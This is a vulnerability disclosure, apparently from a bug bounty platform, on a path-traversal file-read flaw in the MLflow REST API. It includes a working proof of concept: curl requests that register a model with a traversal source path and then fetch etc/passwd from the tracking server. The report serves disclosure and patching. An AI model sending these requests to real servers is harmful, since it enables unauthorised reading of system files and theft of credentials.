LFI in Model Version REST API creation in mlflow/mlflow
Reported on
Apr 20th 2023
Description
By creating a model version through the REST API endpoint api/2.0/mlflow/registered-models/create
and specifying a relative path redirection to the source
argument, local server files can be accessed on the tracking server when a subsequent REST API v1.1 call is made to
model-versions/get-artifact` and providing any path on the local file system.
Proof of Concept
Start an Mlflow server in default mode
mlflow server
Use the REST API to create a model
curl -X POST http://mlflowserver:5000/api/2.0/mlflow/registered-models/create -H "Content-type: application/json" -d '{"name": "AModel"}'
Use the REST API to create a model version by setting the source
argument to a relative path (such as root) on the local file system
(note that this is not restricted to a uri scheme of 'file://' only. This also works with 'http://', 'https://', 'runs:/', 'mlflow-artifacts:/' and object store locations, provided that the host is not 'localhost' or '127.0.0.1').
curl -X POST http://mlflowserver:5000/api/2.0/mlflow/model-versions/create -H "Content-type: application/json" -d '{"name": "AModel", "source": file://hostname/../../../../../../../}'
Retrieve the artifacts from the tracking server's local filesystem
curl http://mlflowserver:5000/model-versions/get-artifact?path=etc/passwd&name=TestModel&version=1
This will return the file contents of the local password file.
Impact
This exploit allows an attacker to gain access to local files on the tracking server. Accessing sensitive local credentials in the event that open access to the tracking server is provided. Full access to underlying linked object store accounts or hijacking the tracking server is possible with the extracted credentials.
Occurrences
handlers.py L1326-L1353
The validation code here in versions <=2.3.0 does not prevent relative paths being passed as a model source.
Original finding is credited to: https://github.com/pakesson-truesec
@admin Can we make this go public on Apr 28th 2023 instead?